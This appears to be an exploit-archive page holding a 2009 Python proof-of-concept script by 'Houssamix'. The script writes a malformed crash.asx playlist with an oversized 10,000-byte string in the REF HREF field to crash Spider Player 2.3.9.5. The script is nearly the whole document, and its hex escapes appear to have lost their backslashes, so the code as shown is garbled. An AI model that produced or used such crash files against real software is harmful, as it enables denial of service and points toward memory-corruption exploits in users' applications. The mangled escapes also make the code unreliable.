[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Spider Player 2.3.9.5 (asx File) off by one Crash Exploit
# Published : 2009-01-30
# Author : Houssamix
# Previous Title : PGP Desktop 9.0.6 (PGPwded.sys) Local Denial of Service Exploit
# Next Title : Thomson mp3PRO Player/Encoder (M3U File) Crash PoC 


#exploit.py
#Spider Player 2.3.9.5 Crash Exploit
#others files can be used for crash  m3u , pls .... 

print " Spider Player 2.3.9.5 off by one Crash Exploit ( asx file ) n"

         	
header1 = (
			"x3Cx41x53x58x20x56x45x52x53x49x4Fx4Ex3Dx22x33"
		        "x2Ex30x22x3Ex0Ax0Ax3Cx45x4Ex54x52x59x3Ex3Cx54"
			"x49x54x4Cx45x3Ex65x78x70x6Cx6Fx69x74x3Cx2Fx54"
			"x49x54x4Cx45x3Ex0Ax3Cx52x45x46x20x48x52x45x46"
			"x3Dx22"
			)

header2 = (
			"x2Ex61x73x66x22x2Fx3Ex0Ax3Cx2Fx45x4Ex54x52x59"
			"x3Ex3Cx2Fx41x53x58x3E"
		   )
			
crash = "x41" * 10000

exploit = header1 + crash  + header2

try:
    out_file = open("crash.asx",'w')
    out_file.write(exploit)
    out_file.close()
    raw_input("nExploit file created!n")
except:
    print "Error"

# www.Syue.com [2009-01-30]